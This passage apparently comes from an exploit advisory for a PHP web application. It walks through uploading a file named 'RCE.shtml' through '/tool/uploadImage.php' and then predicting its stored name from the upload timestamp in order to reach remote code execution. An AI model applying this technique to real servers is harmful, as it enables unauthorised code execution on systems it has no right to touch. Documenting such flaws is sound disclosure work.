# 6) Click "Send it to Server". Script will give you "This file is not a valid image." error.

# "/tool/uploadImage.php" file.(line 90)

m = Months, numeric
d = Days, numeric
H = Hours, numeric, at least 2 digits with leading 0
i = Minutes, numeric
s = Seconds, numeric
 
# We must save the date and time of the upload moment.

# For Example; If you uploaded a file called "RCE.shtml" on 2018.10.23 at 01:02:30
